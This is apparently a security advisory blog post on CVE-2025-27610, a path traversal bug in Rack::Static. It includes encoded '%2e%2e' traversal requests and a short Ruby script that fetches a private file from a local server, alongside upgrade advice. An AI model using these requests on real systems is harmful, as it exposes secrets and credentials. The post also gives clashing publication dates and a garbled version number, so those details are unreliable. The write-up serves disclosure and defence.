Published: June 2024
*By SecHub Team*
Overview
Rack is a popular Ruby interface for web servers and frameworks, acting as the backbone for frameworks like Sinatra and Rails. One commonly used Rack middleware is Rack::Static, which serves static files such as images, CSS, and JavaScript from a specified directory.
But a critical vulnerability was discovered in Rack::Static – CVE-2025-27610. This vulnerability allows attackers to bypass intended file restrictions and read files from the server, even those that should be private, through a path traversal bug.
If you’re running vulnerable Rack versions prior to 2.2.13, 3..14, or 3.1.12, your applications could be at risk.
Component: Rack::Static
- Type: Path Traversal / Directory Traversal
Rack::Static is configured like this in your middleware stack
use Rack::Static,
urls: ["/assets"],
root: "public"
You’d expect only public/assets to be accessible. However, due to improper path sanitization (specifically handling of encoded traversal patterns like %2e%2e for ../), attackers can construct requests that access any file under the public directory.
> Example:
> If there’s a file at public/secrets/config.yml, and you thought it wouldn’t be available to the public… after reading this, think again!
Imagine you have
- public/assets/logo.png (expected public)
- public/secrets/passwords.txt (expected private)
Suppose your server receives the URL
GET /assets/../secrets/passwords.txt HTTP/1.1
If properly secured, Rack should block this and not serve passwords.txt. But with this CVE, encoded path traversal is not sanitized:
GET /assets/%2E%2E/secrets/passwords.txt HTTP/1.1
Or even deeper nesting
GET /assets/%2e%2e/%2e%2e/secrets/passwords.txt HTTP/1.1
Here’s how you might test the vulnerability locally
require "net/http"
host = "localhost"
port = 9292 # Adjust to your rack server's port
target_file = "/assets/%2e%2e/secrets/passwords.txt"
uri = URI("http://#{host}:#{port}#{target_file}";)
res = Net::HTTP.get_response(uri)
puts "Response code: #{res.code}"
puts "Content:"
puts res.body
Impact
- Attackers with knowledge (or ability to guess) file locations can read any file under your root: directory.
- This can include environment configs, app secrets, API keys, user uploads, and *everything else* stored in that area.
3.1.x users: Upgrade to 3.1.12 or later.
Upgrade instructions are straightforward (bundle update rack for most apps).
Make sure your root: only points to a directory containing files you expect can be public.
- Consider offloading static file delivery to a CDN or specialized static file service (like AWS S3 behind CloudFront).
Technical References
- Rack Security Advisory (official)
- CVE Entry for 2025-27610
- Rack 2.x Changelog
- Ruby on Rails Guide: Static Files
- OWASP Path Traversal
Final Thoughts
The CVE-2025-27610 vulnerability is a textbook example of why rigorous input/path sanitization is crucial in web apps. Even if you *think* you’re only serving safe files, attackers can find a way through encoding and creative requests.
If you use Rack::Static, update *immediately*. Protect your users – and your secrets.
*If you found this writeup useful, share it. Security is everyone’s job!*
Timeline
Published on: 03/10/2025 23:15:35 UTC